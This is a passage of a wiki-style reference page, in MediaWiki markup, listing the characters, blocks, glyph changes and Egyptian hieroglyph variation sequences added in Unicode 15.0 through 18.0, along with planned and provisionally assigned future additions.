* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
